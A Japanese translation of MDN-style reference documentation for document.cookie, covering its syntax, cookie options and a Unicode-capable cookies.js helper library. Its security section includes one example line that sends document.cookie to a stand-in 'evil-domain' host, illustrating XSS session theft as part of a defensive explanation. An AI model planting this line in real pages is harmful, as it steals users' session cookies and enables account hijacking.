document.cookie

概要

現在の文書に関連する、クッキーの読み書きを行います。

構文

allCookies = document.cookie;

allCookies は、セミコロンで区切られた、クッキーのリストです。 (i.e. key=value のペア)

document.cookie = updatedCookie;

updatedCookie は、key=value の形式の文字列です。この方法を使用して一度に設定・更新できるクッキーは、一つだけです。

• オプションとして次に挙げる値を設定することができます。keyとvalueのペアの後にセミコロンで区切って設定することで、クッキーを設定・更新することができます。
  • ;path=パス (e.g., '/', '/mydir') 明記しなければ、現在の文書のパスがデフォルトとして設定されます。
  • ;domain=ドメイン (e.g., 'example.com', '.example.com' (すべてのサブドメインを含みます), 'subdomain.example.com') 明記しなければ、現在の文書のホスト名がデフォルトとして設定されます。
  • ;max-age=寿命（秒数） (e.g., 1年であれば、60*60*24*365)
  • ;expires=GMTString 形式の日付 明記しなければ、セッションが終わった時点でクッキーが無効となります。
    • 値の形式について知りたい方は、Date.toUTCString() をご覧ください
  • ;secure https通信を使用しているときだけ、クッキーが送信されます。
• クッキーの値に、コンマ、セミコロン、ホワイトスペースを使用することはできません。ですので、これらが含まれないことを保証するために、値に対して、 encodeURIComponent() を使用するようにしましょう。

例

例 1: 単純な使用方法

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
alert(document.cookie);
// displays: name=oeschger;favorite_food=tripe

リトルframework: Unicodeをサポートしたクッキーの完全な読み書き

 /*\
 |*|
 |*|  :: cookies.js ::
 |*|
 |*|  A complete cookies reader/writer framework with full unicode support.
 |*|
 |*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
 |*|
 |*|  Syntaxes:
 |*|
 |*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
 |*|  * docCookies.getItem(name)
 |*|  * docCookies.removeItem(name[, path])
 |*|  * docCookies.hasItem(name)
 |*|  * docCookies.keys()
 |*|
 \*/

var docCookies = {
  getItem: function (sKey) {
    if (!sKey || !this.hasItem(sKey)) { return null; }
    return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
  },
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return; }
    var sExpires = "";
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires = vEnd === Infinity ? "; expires=Tue, 19 Jan 2038 03:14:07 GMT" : "; max-age=" + vEnd;
          break;
        case String:
          sExpires = "; expires=" + vEnd;
          break;
        case Date:
          sExpires = "; expires=" + vEnd.toGMTString();
          break;
      }
    }
    document.cookie = escape(sKey) + "=" + escape(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
  },
  removeItem: function (sKey, sPath) {
    if (!sKey || !this.hasItem(sKey)) { return; }
    document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sPath ? "; path=" + sPath : "");
  },
  hasItem: function (sKey) {
    return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
  },
  keys: /* optional method: you can safely remove it! */ function () {
    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = unescape(aKeys[nIdx]); }
    return aKeys;
  }
};

クッキーの書き込み

構文

docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])

説明

クッキーの書き込み、または、上書きを行います。

パラメータ

name

書き込み、または、上書きを行うクッキーの名前 (String)

value

クッキーの値 (String)

end (optional)

秒数で表した最大期間 (e.g. 1年であれば31536e3) または、GMT形式やDateオブジェクト形式で表した有効期限。明記しなければ、セッションが終了するまでが有効期間となります。(Number - finite or Infinity, String, Date object or null)

path (optional)

e.g., "/", "/mydir"; 明記しなければ、現在の文書のパスがデフォルトとして設定されます。(String or null)

domain (optional)

e.g., "example.com", ".example.com" (全てのサブドメインが含まれます) or "subdomain.example.com"; 明記しなければ、現在の文書のホストが設定されます。(String or null)

secure (optional)

https通信のときのみ、クッキーが送信されます。(Boolean or null)

クッキーの読み込み

構文

docCookies.getItem(name)

説明

クッキーの読み込みを行います。存在しない時は、nullが返ります。

パラメータ

name

読み込むクッキーの名前。(String)

クッキーの削除

構文

docCookies.removeItem(name[, path])

説明

クッキーの削除を行います

パラメータ

name

削除するクッキーの名前。(String)

path (optional)

e.g., "/", "/mydir"; 明記しなければ、現在の文書のパスがデフォルトとして設定されます。(String or null)

クッキーのテスト

構文

docCookies.hasItem(name)

説明

クッキーが存在するかどうかのテストを行う

パラメータ

name

テストを行うクッキーの名前。(String)

全てのクッキーのリストの取得

構文

docCookies.keys()

説明

この文書から読み込み可能なすべてのクッキーの配列を返します。

使用例:

docCookies.setItem("test0", "Hello world!");
docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);

alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));

セキュリティ

path制約は、異なるパスによる認証されていないクッキーの読み込みから守ってくれないということに注意することが重要です。これはシンプルなDOMで簡単にバイパスできます（たとえば、クッキーのパスとともに隠しiframe要素を生成して、このiframeのcontentDocument.cookieプロパティにアクセスします）。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、同一生成元ポリシーを適用することです。

クッキーは普段、Webアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、Webアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むため一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内のXSSの脆弱性を悪用しています - 

(new Image()).src = "https://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HTTP Cookiesを検査して、JavaScriptを通したクッキー値へのアクセスを防止することで、この種も問題を軽減できます。より詳細情報はCookies and Securityを見てください。

ノート

• Firefox 2から、より良いクライアントサイドストレージのメカニズムを使用できます。 - WHATWG DOM Storage.
• 有効期限を0にアップデートするだけで、クッキーを削除できます。
• クッキーを持てば持つほど、サーバとクライアント間の通信で、より多くのデータが送信されることを忘れないでください。これはリクエストを遅くします。もし、クライアントだけにデータを持たせ続けたいなら、WHATWG DOM Storageを使うことを強くお勧めします。

仕様

DOM Level 2: HTMLDocument.cookie

関連項目

• HTTP cookies
• Cookies (コードスニペット)